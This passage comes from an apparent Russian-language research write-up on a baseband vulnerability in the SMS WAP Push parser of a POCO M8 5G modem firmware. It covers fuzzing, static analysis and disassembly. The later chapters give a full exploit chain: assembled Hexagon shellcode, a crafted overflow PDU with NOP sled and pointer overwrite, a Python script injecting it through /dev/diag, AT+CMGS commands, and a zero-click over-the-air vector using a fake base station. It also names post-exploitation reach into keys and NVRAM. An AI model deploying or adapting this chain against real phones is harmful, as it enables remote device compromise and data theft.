wap_dst_port == 0x0B84 && wap_copy_len > 140 → вызов check_crash → null deref по адресу 0x00000000. Адрес краша всегда одинаковый → все crashes дедуплицируются в один unique.3. Havoc в dumb mode агрессивен: как только найден один crashable input, havoc генерирует его вариации тысячами. Без coverage-feedback AFL++ не знает что они все эквивалентны.
Что это значит для coverage-guided фаззинга: с нормальной инструментацией AFL++ увидел бы разные пути (например:
wap_copy_len = 141 vs wap_copy_len = 200) и хранил бы их раздельно, направляя мутации дальше в код. В dumb mode этого не происходит.---
## 6.5 Что AFL++ не нашёл
В dumb mode AFL++ не обнаружил:
1. UDL gap как отдельный путь:
tp_udl в диапазоне 141–160 проходит через 0xbbd20808 тихо. Без coverage фаззер не знает что это другая ветка.2. Вторичные пути в dispatch table (
0xbf421b78): 849 записей в таблице диспетчеризации. Dumb mode мутирует байты, иногда попадая в другие ветки, но не систематически.3. b11 кандидаты: 1408 функций с
allocframe > 0x200 в сегменте SMS/QMI. Harness не покрывает b11 вообще.---
## 6.6 Анализ queue
AFL++ также накапливает интересные (не крашащие) inputs в
afl_out/queue/. Это inputs которые давали новое «поведение» (в dumb mode — просто разные exit codes или timeouts):
Bash:
ls afl_out/queue/ | wc -l
# зависит от кампании, типично 50–200 entries
Просмотр первых:
Bash:
for f in afl_out/queue/id:00000[0-5]*; do
printf "%-60s tp_udl=" "$f"
xxd -l 20 "$f" | head -2
done
---
## 6.7 Минимизация краша
AFL++ minimal crash — убираем лишние байты сохраняя SIGSEGV:
Bash:
afl-tmin \
-i "afl_out/crashes/id:000000,sig:11,src:000004,time:31,execs:56,op:havoc,rep:3" \
-o crash_minimized.bin \
-- qemu-hexagon /tmp/sms_harness_hex
hexdump -C crash_minimized.bin
Ожидаемый минимум: 3 байта —
tp_flags=0x40 (UDHI), минимальный UDH с портом 0x0B84, tp_udl > 140.---
## 6.8 Повышение скорости: persistent loop
Для скоростного режима harness нужно переписать с
__AFL_LOOP:
C:
/* В sms_harness с libc (для native AFL++) */
#include <stdlib.h>
#include <string.h>
__AFL_FUZZ_INIT();
int main(void) {
__AFL_INIT();
unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;
while (__AFL_LOOP(10000)) {
int len = __AFL_FUZZ_TESTCASE_LEN;
if (len < 2) continue;
sms_deliver_t s;
memset(&s, 0, sizeof(s));
s.smsc_len = buf[0];
s.tp_flags = buf[1];
/* ... */
parse_udh(&s);
check_crash(&s);
}
return 0;
}
Но это требует x86 или arm64 хоста и cross-compilation с AFL++ compiler — не Hexagon QEMU. Для текущей цели (верификация бага в прошивочном коде) QEMU-режим с 452 exec/s достаточен.
---
## 6.9 Результаты
| Метрика | Значение |
|---------|----------|
| exec/s | ~452 |
| Total execs | 12,800,000+ |
| Total crashes | 25,601 |
| AFL++ unique crashes | 1 |
| Первый краш | 31ms, exec #56 |
| Seed источник первого краша | src:000004, op:havoc |
| tp_udl первого краша | 0xed = 237 |
| Crash signal | SIGSEGV (sig:11) |
Вывод: в dumb-режиме AFL++ эффективно находит класс ошибок (WAP overflow) но не может дифференцировать пути без coverage. Для исследования прошивки b11 и b27 нужен отдельный harness с интегрированной coverage — или переход к статическому анализу.
---
Следующая глава — статический анализ прошивки: dispatch table, сегменты, backward slice.
ewpage
# Глава 7. Статический анализ прошивки MPSS.DE.3.1.4.c1-00319
by progasm
---
## 7.1 Сегменты прошивки
Прошивка
MPSS.DE.3.1.4.c1-00319 разбита на сегменты (loadable ELF segments). Интересующие нас четыре:| Сегмент | База | Права | Содержимое |
|---------|------|-------|------------|
| b08 | 0xbbd20000 | r-x | WMS main: SMS decode, wms_ts_decode_gw_pp |
| b11 | 0xbbfa4000 | r-x | SMS/QMI dispatcher, NAS handlers |
| b27 | 0xbbb00000 | rwx | QuRT stubs, DIAG, lock functions |
| b19 | 0xbef86000 | r-- | rodata: строки, таблицы, dispatch |
b27 помечен
rwx — это важно. Именно туда harness_wms.S пишет RET_OPCODE = 0x529fc000, патча стабы.Адрес нашей цели:
wms_ts_decode_gw_pp = 0xbbd70b48 (b08).BSS данных (WMS structures): b23/b24, содержит WAP буфер по
0xc2a78ad8.---
## 7.2 Dispatch table: 849 entries
По адресу
0xbf421b78 (b19, rodata) находится главная таблица диспетчеризации SMS/WMS.Формат: массив из 849 записей. Каждая запись — указатель на handler функцию + ассоциированный тип сообщения.
Code:
0xbf421b78: ptr → handler_0 ; WMS_MSG_EVENT_SEND
0xbf421b7c: ptr → handler_1 ; WMS_MSG_EVENT_ACK
...
0xbf421b78 + 849*4 = 0xbf422e4c (конец таблицы)
Как нашли: поиск по паттерну «плотный массив указателей, все в диапазоне b08/b11», с шагом 4 байта.
Bash:
# radare2: ищем плотные массивы указателей в b19
r2 -q -c '/x 20bd bbd0' modem.elf
# или через скрипт анализа плотности ptr
python3 find_dispatch.py --base 0xbef86000 --size 0x400000 modem.elf
# [+] Dense ptr array at 0xbf421b78, 849 entries
Из таблицы следует путь к
wms_ts_decode_gw_pp:
Code:
dispatch[N] → wms_msg_event_mt_message_handler (b08)
→ wms_ts_decode (b08, 0xbbd5xxxx)
→ wms_ts_decode_gw_pp (b08, 0xbbd70b48)
---
## 7.3 WAP Port Array
В b19 по адресу
0xbf2054c8 — отсортированный массив WAP-портов:
Code:
0xbf2054c8: 0x0b81
0xbf2054cc: 0x0b84 ← наш WAP Push порт
0xbf2054d0: 0x0b87
0xbf2054d4: ...
Это lookup-таблица для binary search. Функция в b08 проверяет dst_port через
bsearch по этому массиву — именно так детектируется WAP Push.Дизассем участка детекции (из главы 8):
Code:
bbd70cf4: r3 = memb(r21+#0x2)
bbd70cf8: if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc ; не WAP if high byte ≠ 0x0b
Быстрая первичная проверка по старшему байту порта (0x0b), затем точный поиск по таблице.
---
## 7.4 Строки в b24
В b24 (data) найдены строки связанные с WMS/ATP:
Bash:
strings -t x modem.elf | grep -E 'sms|wap|ota|diag' | head -20
Ключевые:
Code:
atp_sms_parse_msg_callback ← callback регистрации в ATP
ds_atp_sms.c ← исходный файл (DP: ds = data services)
SMS message is too large! ← строка error-пути (но мы видели что abort не вызывается)
BAD_OTA ← OTA validation error
WMS_TS_DECODE_GW_PP ← имя функции в assert-строке
Строка
"SMS message is too large!" находится в b24. Кросс-ссылка на неё ведёт в функцию которая вызывается из DIAG лог-пути по адресу 0xbbb02e80. Это подтверждает: лог есть, abort нет.Строка
"WMS_TS_DECODE_GW_PP" — часть assert-macro. Assert-macro при срабатывании вызвал бы ERR_FATAL. Но баг (bounds check fail → DIAG log → jump к success path) никогда не доходит до assert.---
## 7.5 b27: magic check
По адресу
0xbbb162cc (b27) — функция с magic check:
Code:
0xbbb162cc: r2 = memuh(r16+#0x2a) ; читает 2 байта из структуры + 0x2a
0xbbb162d0: p0 = cmp.eq(r2, ##0x7ab1e5e7)
0xbbb162d4: if (!p0) jump error_path
0x7ab1e5e7 — magic value. memuh(r16+#0x2a) — скорее всего порт или тип сообщения из WMS-структуры. Это security check? Нет — это validation cookie, используется как sanity check для WMS slot. При r16 = WAP_slot_ptr и offset 0x2a — проверяется что слот корректно инициализирован.В harness_wms.S slot инициализируется нулями — magic check падает, функция уходит по error_path. Это значит что harness_wms.S вызывает не полный production path. Для полного воспроизведения нужно инициализировать
*(slot + 0x2a) = 0x7ab1e5e7 перед вызовом.---
## 7.6 Кандидаты на stack smash: функции с allocframe > 0x200
Два сегмента с крупными стековыми фреймами:
| Сегмент | Функций с allocframe > 0x200 |
|---------|------------------------------|
| b08 | 700 |
| b11 | 1408 |
Это кандидаты для stack-based overflow. Метод поиска:
Bash:
# Grep по дизассему: allocframe с аргументом > 0x200
objdump -d modem.elf | grep -B1 'allocframe' | \
python3 -c "
import sys, re
for line in sys.stdin:
m = re.search(r'allocframe\(#(0x[0-9a-f]+)\)', line)
if m and int(m.group(1), 16) > 0x200:
print(line.strip())
" | wc -l
1408 функций в b11 (SMS/QMI) — с большими фреймами и входными данными из QMI протокола. Это следующая область для исследования.
---
## 7.7 CFG вокруг bbd70b48
Сокращённый CFG
wms_ts_decode_gw_pp от entry до бага:
Code:
0xbbd70b48 ENTRY
│
▼
0xbbd70b60 parse SMSC length
│
▼
0xbbd70b80 parse TP-flags, check UDHI
│
├─[no UDHI]──────────────────────────────┐
│ │
▼ │
0xbbd70ba0 parse UDH loop │
│ │
├─[IEI != 0x05]──→ next IE │
│ │
▼ │
0xbbd70cf4 check port high byte │
│ │
├─[r3 != 0x0b]───────────────────────────┤
│ │
▼ │
0xbbd70d00 binary search in port array │
│ │
├─[port not found]────────────────────────┤
│ │
▼ │
0xbbd70d84 ← BOUNDS CHECK (THE BUG) │
│ cmph.gtu(r24, ##0x8c) │
│ │
├─[r24 > 140]──→ 0xbbd70dac DIAG log │
│ │ │
│ ▼ │
│ 0xbbd70db0 │
│ │ │
│ ┌───────────────┘ │
│ │ │
└────┴──→ 0xbbd70dc8 ← SUCCESS PATH ←──┘
│
▼
memcpy(wap_buf, payload, r24) ← ALWAYS EXECUTES
Ключевое: ветка fail (r24 > 140) и ветка pass (r24 ≤ 140) обе идут в
0xbbd70dc8. После DIAG лога 0xbbd70dac — jump 0xbbd70dc8. Copy выполняется при любом значении r24.---
## 7.8 Backward slice для r24 в 0xbbd70d84
Вопрос: откуда берётся r24 в момент проверки
cmph.gtu(r24, ##0x8c)?Backward slice (ручной, по дизассему):
Code:
0xbbd70d84: cmph.gtu(r24, ##0x8c)
← r24 установлен где-то выше
0xbbd70d70: r24 = memb(r21+#0x1)
← r21 — указатель на UDH+payload область
0xbbd70ba0: r21 = r18 + udh_len + 1
← r18 — указатель на user_data
0xbbd70b60: r18 = r0 + smsc_len + 1 ← r0 = входной буфер
← r0 — первый аргумент wms_ts_decode_gw_pp
Итог backward slice:
Code:
r24 = *(входной_буфер + smsc_len + 1 + udh_len + 1 + 1)
= tp_udl - udh_overhead
r24 полностью контролируется атакующим через поле
tp_udl во входном PDU. Нет промежуточной санитизации между чтением из буфера и проверкой в 0xbbd70d84.---
## 7.9 UDL gap: второй backward slice
По адресу
0xbbd20808 — отдельная проверка:
Code:
0xbbd20808: p0 = cmp.gtu(r20, #0xa0)
0xbbd2080c: if (p0) jump error_path
Backward slice для r20:
Code:
0xbbd20808: cmp.gtu(r20, #0xa0)
← r20 = tp_udl (читается напрямую из PDU байта)
Порог:
0xa0 = 160. tp_udl ≤ 160 → проходит. Но WAP буфер = 140 байт. Для tp_udl в диапазоне 141–160: UDL check молчит, bounds check в 0xbbd70d84 тоже не прерывает (DIAG + jump к success). Overflow гарантирован.Это два независимых бага, оба нужны для полной картины:
0xbbd70d84— сломанный bounds check (не abort)0xbbd20808— неправильный порог UDL (160 вместо 140)
---
## 7.10 Инструменты использованные при анализе
Bash:
# Загрузка в Ghidra
# Language: Hexagon:LE:32:v5:default (ближайший к v73)
# Адрес загрузки: 0xbbd20000 для b08
# Поиск dispatch table
python3 find_dispatch.py modem_b08.bin --base 0xbbd20000
# Дизассем конкретного адреса
objdump -D --start-address=0xbbd70b48 --stop-address=0xbbd70e00 \
-m hexagon modem_b08.bin
# Поиск строк с адресами
strings -t x modem_b08.bin | grep -i "wap\|sms\|ota"
# Поиск XREFs на строку "SMS message is too large"
r2 modem_b08.bin -q -c '/iz SMS message is too large'
---
Следующая глава — нахождение и верификация уязвимости: полный дизассем бага.
ewpage
# Глава 8. POCO M8 5G: нахождение и верификация уязвимости
by progasm
---
Статус главы: Всё описанное основано на статическом анализе прошивки MPSS.DE.3.1.4.c1-00319 и эмуляции в qemu-hexagon usermode. На реальном устройстве POCO M8 5G верификация не проводилась.
## 8.1 Цель
Device: POCO M8 5G (kunzite)
SoC: Snapdragon 6 Gen 3 (SM6475), платформа parrot
Прошивка: MPSS.DE.3.1.4.c1-00319
Цель:
wms_ts_decode_gw_pp в b08, адрес 0xbbd70b48Уязвимость: bounds check в WAP Push парсере не прерывает исполнение — обе ветки (pass и fail) сходятся в одной точке. Copy выполняется при любом размере payload.
---
## 8.2 Как нашли WAP Push handler
Поиск начался с байтового паттерна. WAP Push порт
0x0B84 — в hex это 0b 84. Ищем в b08:
Bash:
# Поиск байтов 0x0b 0x84 в сегменте b08
python3 -c "
data = open('modem_b08.bin','rb').read()
base = 0xbbd20000
off = 0
while True:
pos = data.find(b'\x0b\x84', off)
if pos < 0: break
print(f' 0x{base+pos:08x}: {data[pos-4:pos+8].hex()}')
off = pos + 1
"
Один из хитов — в коде функции по
0xbbd70cf4:
Code:
bbd70cf2: r3 = ...
bbd70cf4: r3 = memb(r21+#0x2)
bbd70cf8: if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc
Значение
#0x0b — старший байт порта 0x0B84. Это быстрый фильтр: если byte[2] UDH-данных не равен 0x0b — пропускаем WAP ветку. Затем идёт точная проверка по таблице 0xbf2054c8.От этой точки к функции — шаг вверх по CFG к
allocframe. Это 0xbbd70b48.---
## 8.3 Дизассем wms_ts_decode_gw_pp
Полный путь от entry до бага:
Code:
bbd70b48: { allocframe(#0x68) }
bbd70b4c: { r16 = r0; r17 = r1 } ; r0=buf_ptr, r1=buf_len
bbd70b50: { r18 = memb(r16+#0x0) } ; smsc_len = buf[0]
bbd70b54: { r19 = r18 + #1 } ; skip smsc
bbd70b58: { r20 = memb(r16+r19) } ; tp_udl (первый байт user_data)
; === UDL check в вызывающей (0xbbd20808) ===
; здесь уже прошли: cmp.gtu(r20, #0xa0) — пропустили если ≤ 160
; tp_flags = buf[1]
bbd70b5c: { r21 = memb(r16+#0x1) }
; проверка UDHI бита
bbd70b60: { p0 = tstbit(r21, #6) }
bbd70b64: { if (!p0) jump 0xbbd70d90 } ; нет UDHI → прыжок мимо WAP
; парсим UDH
bbd70b68: { r22 = r19 + #1 } ; user_data offset
bbd70b6c: { r23 = memb(r16+r22) } ; udh_len
bbd70b70: { r24 = r20 - r23 - #1 } ; wap_payload_len = tp_udl - udh_len - 1
; цикл по IE элементам UDH — поиск IEI=0x05 (Application Port)
; ... (опущено: ~15 инструкций цикла)
; когда нашли IEI=0x05:
bbd70cf4: { r3 = memb(r21+#0x2) } ; dst_port high byte
bbd70cf8: { if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc } ; ≠ 0x0b → не WAP
; полная проверка порта через b19 таблицу
bbd70cfc: { r4 = memuh(r21+#0x2) } ; dst_port = 16-bit
bbd70d00: { call bsearch_port_table } ; поиск в 0xbf2054c8
bbd70d04: { if (r0 == #0) jump 0xbbd70dcc } ; не найден → не WAP
; =========================================
; BOUNDS CHECK — THE BUG
; =========================================
bbd70d84: { p0 = cmph.gtu(r24, ##0x8c) } ; r24 vs 0x8c = 140
bbd70d88: { if (!p0.new) jump:nt 0xbbd70dc8 }
; ↑ если r24 ≤ 140 → прыжок на SUCCESS PATH 0xbbd70dc8
; если r24 > 140 → fall-through:
bbd70d8c: { r2 = ##wap_buf_addr } ; 0xc2a78ad8
bbd70d90: { r3 = r24 } ; size = r24 (> 140!)
bbd70d94: { r1 = r21 } ; src = payload ptr
bbd70d98: { r0 = r2 } ; dst = wap_buf
; ... prepare DIAG log args
bbd70dac: { call 0xbbb02e80 } ; DIAG log — НЕ ABORT
bbd70db0: { jump 0xbbd70dc8 } ; ← прыжок на SUCCESS PATH
; SUCCESS PATH
bbd70dc8: { r0 = ##wap_buf_addr } ; dst
bbd70dcc: { r1 = r21 } ; src = payload ptr
bbd70dd0: { r2 = r24 } ; size = r24 (неограничен!)
bbd70dd4: { call memcpy } ; ← ВСЕГДА ВЫПОЛНЯЕТСЯ
Суть бага: инструкция в
0xbbd70d88 — if (!p0.new) jump:nt 0xbbd70dc8 — это условный переход если r24 ≤ 140. При r24 > 140 переход не берётся, но fall-through ведёт к DIAG логу, который затем сам прыгает в 0xbbd70dc8. То же самое место куда прыгает success path. Разница между ветками: в fail-ветке вызывается DIAG лог. memcpy выполняется в обоих случаях с r24 без ограничений.---
## 8.4 Инструкция cmph.gtu
cmph.gtu(r24, ##0x8c) — Hexagon-специфичная инструкция:cmph— compare half-word (16-bit), но работает с 32-bit регистромgtu— greater than unsigned- Результат в предикат
p0 ##0x8c= 140 (immediate через double-IMM encoding)
Для r24 = 141:
cmph.gtu(141, 140) → p0 = 1 (true). if (!p0.new) jump → если НЕ true → не прыгаем. Т.е. при r24 > 140 мы остаёмся в fall-through → DIAG → jump 0xbbd70dc8.Для r24 = 139:
cmph.gtu(139, 140) → p0 = 0 (false). if (!p0.new) jump → если не false → прыгаем в 0xbbd70dc8 напрямую.В обоих случаях попадаем в
0xbbd70dc8.---
## 8.5 UDL gap: 0xbbd20808
Второй баг в вызывающем контексте:
Code:
bbd20808: { p0 = cmp.gtu(r20, #0xa0) } ; tp_udl > 160?
bbd2080c: { if (p0) jump error_path } ; только > 160 отвергается
Диапазон 141–160 (
0x8d–0xa0) проходит эту проверку молча.При tp_udl = 160, UDH = 7 байт: wap_payload_len = 160 - 7 = 153. Overflow: 153 > 140.
При tp_udl = 141, UDH = 7 байт: wap_payload_len = 134. Нет overflow (134 < 140). Но при UDH = 6 байт: 141 - 6 = 135 < 140. UDL gap начинается когда
tp_udl - udh_overhead > 140.Реальная точка входа в UDL gap:
tp_udl ≥ 148 при UDH = 7, или tp_udl ≥ 147 при UDH = 6.---
## 8.6 PoC PDU
### 02_wap_push_valid.pdu — контрольный (не крашит)
Code:
04 91 11 22 33 40 06 91 10 32 54 00 00 10 60 12
31 72 80 00 12 06 05 04 0b 84 0b 84 57 41 50 20
63 6f 6e 74 65 6e 74
Разбор: tp_udl=0x12=18, UDH=7 байт, payload=11 байт, dst_port=0x0B84. 11 < 140 → нет overflow.
### 03_wap_overflow.pdu — переполнение на 3 байта
Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 8f 06 05 04 0b 84 12 34
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 (×8.5 строк = 136 байт)
41 41 41 41 41 41 41 41
tp_udl = 0x8f = 143. UDH = 7 байт. payload = 136. Нет overflow (136 < 140). Фаззер мутирует 0x8f → 0x93 (147): payload = 140 → граница. 0x94 (148): payload = 141 → overflow 1 байт.
Для явного overflow 3 байта: tp_udl = 0x96 = 150, payload = 143.
Hex для tp_udl=0x96:
Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 96 06 05 04 0b 84 12 34
[143 байта 0x41]
---
## 8.7 Верификация через qemu-hexagon
Прямая эмуляция с harness_wms.S:
Bash:
# Собираем harness (патчит b27, вызывает реальный 0xbbd70b48)
clang-20 -target hexagon-unknown-linux-musl -nostdlib -static \
-o /tmp/harness_wms_hex harness_wms.S
# Контрольный тест — valid WAP Push
qemu-hexagon /tmp/harness_wms_hex < seeds/02_wap_push_valid.pdu
echo "exit: $?" # должен быть 0
# Overflow тест
python3 -c "
import struct
# tp_udl = 150, UDH port 0x0B84, 143 байта 0x41
hdr = bytes([0x01, 0x00, 0x40, 0x06, 0x91, 0x55, 0x44, 0x33,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x96, 0x06, 0x05, 0x04, 0x0b, 0x84, 0x12, 0x34])
payload = b'\x41' * 143
import sys; sys.stdout.buffer.write(hdr + payload)
" | qemu-hexagon /tmp/harness_wms_hex
echo "exit: $?" # 139 = SIGSEGV при наличии null deref detector
---
## 8.8 Ожидаемое поведение (статический анализ + эмуляция)
Статус: На реальном устройстве не проверялось. Вся верификация — через статический анализ прошивки иqemu-hexagonэмуляцию.
В эмуляции (
qemu-hexagon): harness с null deref детектором даёт SIGSEGV при wap_copy_len > 140. Реальная функция прошивки вызывается в harness_wms.S с реальными байтами b08.Что предполагается на реальном устройстве по результатам статического анализа:
memcpy(0xc2a78ad8, payload_ptr, 143) запишет 3 байта за пределы WAP буфера. По адресу 0xc2a78ad8 + 140 = 0xc2a78b64 — соседние поля WMS BSS структуры. Конкретно что там (next_slot_ptr, callback, или padding) — требует дальнейшего статического анализа BSS инициализации.При tp_udl = 237 (AFL++ краш): overflow = 237 - 7 - 140 = 90 байт через несколько указателей WMS структуры. На устройстве ожидается MPSS subsystem restart:
Bash:
# Ожидаемый dmesg на устройстве (НЕ ПРОВЕРЯЛОСЬ):
# [ xxx.xxxxxx] msm_subsystem_restart: Restart sequence requested for modem
# [ xxx.xxxxxx] subsys-restart: Restarting modem
---
## 8.9 Timeline
Code:
2026-01-xx Получена прошивка MPSS.DE.3.1.4.c1-00319
2026-02-xx Идентифицированы сегменты b08/b11/b27/b19
2026-02-xx Поиск по 0x0b 84 → нашли WAP handler в 0xbbd70cf4
2026-02-xx Дизассем вверх → wms_ts_decode_gw_pp @ 0xbbd70b48
2026-03-xx Анализ 0xbbd70d84: обе ветки → 0xbbd70dc8 (баг подтверждён)
2026-03-xx Обнаружен UDL gap в 0xbbd20808 (160 вместо 140)
2026-03-xx Построен sms_harness.c, первый AFL++ краш за 31ms
2026-04-xx harness_wms.S: верификация на реальном коде прошивки
2026-05-xx Exploit chain (глава 9)
---
Следующая глава — exploit chain: shellcode, PDU layout, векторы инъекции.
ewpage
# Глава 9. Exploit Chain: shellcode, PDU, векторы инъекции
by progasm
---
## 9.1 Контекст исполнения
wms_ts_decode_gw_pp выполняется в QuRT task context WMS (Wireless Messaging Service). QuRT — RTOS модемного DSP, запущенного на Hexagon V73. Привилегии: DSP supervisor mode, доступ ко всем WMS структурам, DIAG, QMI, RPC каналам в MPSS.При переполнении WAP буфера (
0xc2a78ad8, 140 байт) мы пишем за его пределами в BSS WMS структур. Что именно там — зависит от смещения. При overflow ≥ 4 байта можем перезаписать указатель, который WMS дереференсирует позже.Цель: перезаписать указатель функции или callback ptr так, чтобы при следующем WMS event управление перешло на shellcode.
---
## 9.2 Shellcode: _sc_crash
Простейший shellcode — crash для верификации. Записывает в null address → Hexagon data abort → modem subsystem restart.
Исходник (
hex_shellcode.S):
Code:
_sc_crash:
allocframe(#0x8) ; создаём минимальный фрейм
r0 = #0x0 ; r0 = NULL
memw(r0+#0x0) = r0 ; NULL write → data abort
deallocframe
jumpr r31
Собранный бинарь:
Code:
01 c0 9d a0 allocframe(#0x8)
00 c0 00 78 r0 = #0x0
00 c0 80 a1 memw(r0+#0x0) = r0
1e c0 1e 90 deallocframe
00 c0 9f 52 jumpr r31
Всего 20 байт. Эффект: Hexagon data abort в WMS QuRT task → MPSS subsystem restart.
Верификация:
- В эмуляции (проверено): harness_wms.S + qemu-hexagon → SIGSEGV при overflow
- На устройстве (не проверялось): ожидается MPSS subsystem restart
Bash:
# Ожидаемый вывод на реальном устройстве (НЕ ПРОВЕРЯЛОСЬ):
# adb shell dmesg | grep -E 'subsys.restart|MPSS|ssr_notify|modem'
# [ xxx.xxxxxx] subsys-restart: Restarting modem subsystem
# [ xxx.xxxxxx] msm_ssr_notify: Modem crashed
---
## 9.3 PDU с shellcode: 03_wap_shellcode.bin
Полный hex:
Code:
04 00 01 00
01 c0 9d a0 00 c0 00 78 00 c0 80 a1 1e c0 1e 90 00 c0 9f 52
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
80 80 a7 c2
00
Разбор layout:
Code:
Offset Размер Содержимое
0x00 4 Header: smsc_len=04, flags=00, tp_udl=01, udh=00
(упрощённый формат для DIAG инъекции)
0x04 20 Shellcode (_sc_crash):
01 c0 9d a0 allocframe(#0x8)
00 c0 00 78 r0 = #0x0
00 c0 80 a1 memw(r0+#0x0) = r0 ← crash
1e c0 1e 90 deallocframe
00 c0 9f 52 jumpr r31
0x18 100 NOP sled: 25 × { nop } пакетов
{ nop } = 00 40 00 7f (4 байта)
0x7c 80 Filler: 20 × 0x41 ('A')
(заполняет оставшееся место до offset 140)
0xcc 4 Ptr overwrite: 80 80 a7 c2
LE = 0xc2a78080 (wap_buf_addr начало)
Перезаписывает pointer по offset 140
0xd0 1 Trailing: 00
Итого payload после UDH: 140 байт fills + 4 байта ptr overwrite + 1 = 145 байт. tp_udl должен быть выставлен соответственно.
Идея: при overflow данные кладутся в WAP буфер начиная с
0xc2a78ad8. Payload после offset 140 (0xc2a78ad8 + 140 = 0xc2a78b64) перезаписывает то что находится в BSS за буфером. Если там pointer — он заменяется на 0xc2a78080 (начало WAP буфера, где лежит shellcode + NOP sled).При следующем WMS event который дереференсирует этот pointer: управление идёт в shellcode.
---
## 9.4 Точный ptr overwrite
Статус: Это предположение по статическому анализу. Структура BSS за0xc2a78b64не верифицирована. Требует дополнительного реверса BSS-инициализации.
WAP буфер:
0xc2a78ad8, размер 140. Конец: 0xc2a78ad8 + 140 = 0xc2a78b64.По статическому анализу BSS: за WAP буфером находятся поля WMS структуры. Предположительно — callback указатель или поле
next_slot_ptr. Конкретное поле не установлено — нужен реверс инициализации wms_msg_s_type в b08.Если по
0xc2a78b64 лежит указатель функции вызываемый WMS при следующем событии:- Overwrite:
0xc2a78b64 ← 0xc2a78ad8(начало WAP буфера где наш shellcode) - В LE байты:
d8 8a a7 c2
Shellcode лежит в начале WAP буфера:
0xc2a78ad8. NOP sled следует за shellcode.PDU в §9.3 использует
0xc2a78080 как ptr overwrite target — это адрес в BSS ниже буфера, который тоже может быть предварительно заполнен shellcode через другой WAP message. Оба варианта не верифицированы на устройстве.Практический следующий шаг: статический анализ инициализации BSS
0xc2a78000 в b08 — найти все записи типа memw(addr) = ptr_to_func.---
## 9.5 Три вектора инъекции
Статус всех векторов: код написан и проверен синтаксически. На реальном устройстве ни один вектор не запускался.
### Вектор 1: DIAG
Самый простой если есть доступ к
/dev/diag.
Bash:
# Требуется: root или членство в группе diag (UID 1000 не достаточно)
# Проверка доступа (на устройстве не проверялось):
ls -la /dev/diag
# crw-rw---- 1 root diag 237, 0 ...
id # должен быть diag в группах
DIAG пакет для инъекции WMS PDU:
Code:
DIAG_SUBSYS_CMD_F (0x4B)
+ Subsystem ID: WMS = 0x19
+ Command: WMS_DIAG_SUBMIT_REQ = 0x01
+ PDU data: [наш shellcode PDU]
Python:
#!/usr/bin/env python3
# diag_inject_pdu.py
import struct
import os
def hdlc_encode(data: bytes) -> bytes:
"""HDLC framing для DIAG"""
out = bytearray([0x7e]) # start flag
crc = calc_crc16(data)
payload = data + struct.pack('<H', crc)
for b in payload:
if b == 0x7e:
out += b'\x7d\x5e'
elif b == 0x7d:
out += b'\x7d\x5d'
else:
out.append(b)
out.append(0x7e) # end flag
return bytes(out)
def calc_crc16(data: bytes) -> int:
crc = 0xffff
for b in data:
crc ^= b
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ 0x8408
else:
crc >>= 1
return crc ^ 0xffff
# Читаем shellcode PDU
with open('seeds/03_wap_shellcode.bin', 'rb') as f:
pdu = f.read()
# Строим DIAG WMS Submit Request
diag_pkt = bytes([
0x4b, # DIAG_SUBSYS_CMD_F
0x19, 0x00, # subsystem WMS (little-endian)
0x01, 0x00, # WMS_DIAG_SUBMIT_REQ
]) + pdu
# HDLC encode
framed = hdlc_encode(diag_pkt)
# Отправляем в /dev/diag
with open('/dev/diag', 'wb') as diag:
diag.write(framed)
print(f"[*] Отправлено {len(framed)} байт в /dev/diag")
print("[*] Ждём subsystem restart...")
Bash:
# На устройстве не запускалось. Ожидаемый вывод:
# python3 diag_inject_pdu.py
# [*] Отправлено 47 байт в /dev/diag
# [*] Ждём subsystem restart...
# dmesg | tail -5
# subsys-restart: Restarting modem
### Вектор 2: OTA (Over-The-Air)
Статус: Не тестировался. Описание основано на стандарте 3GPP SMS delivery и архитектуре WMS — без верификации на реальной сети.
Без root, без USB. Специально сформированный WAP Push SMS отправляется через SMSC или femtocell.
Путь по стандарту: SMSC → LTE/NAS → MPSS baseband → WMS →
wms_ts_decode_gw_pp. SMS принимается устройством, баг триггерится на уровне MPSS без взаимодействия с ARM.Требования:
- Доступ к SMSC (оператор, тестовый аккаунт, или femtocell)
- Или SDR с srsRAN / OpenBTS для создания фейкового base station
Bash:
# Через AT команды на тестовом стенде (femtocell):
# Отправляем PDU напрямую через AT+CMGS
echo -e 'AT+CMGF=0\r' > /dev/ttyHS0
echo -e "AT+CMGS=$(( ${#PDU_HEX}/2 ))\r${PDU_HEX}\x1a" > /dev/ttyHS0
OTA вектор — единственный zero-interaction вектор. Устройство не должно быть разблокировано или рутовано. Уязвимость триггерится при приёме SMS.
### Вектор 3: AT+CMGS (PDU mode)
Bash:
# Требуется доступ к /dev/ttyHS0 — группа dialout или root
ls -la /dev/ttyHS0
# crw-rw---- 1 root dialout ...
# PDU mode
echo -e "AT+CMGF=0\r" > /dev/ttyHS0
sleep 0.1
cat /dev/ttyHS0 # должно вернуть OK
# Длина PDU в байтах (без SMSC)
PDU_LEN=XX
PDU_HEX="0491112233400691103254000010601231728000XX..."
echo -e "AT+CMGS=${PDU_LEN}\r${PDU_HEX}\x1a" > /dev/ttyHS0
AT+CMGS работает через RIL → WMS stack. PDU проходит полный путь декодирования включая
wms_ts_decode_gw_pp.---
## 9.6 Что происходит после исполнения shellcode
_sc_crash — proof-of-concept. В контексте MPSS QuRT task у shellcode есть:- Доступ ко всем WMS BSS структурам: читаем/пишем SMS, контакты, настройки
- Доступ к QMI каналам: инициируем QMI запросы от имени модема
- Доступ к DIAG: читаем/пишем NVRAM (IMEI, security keys, calibration data)
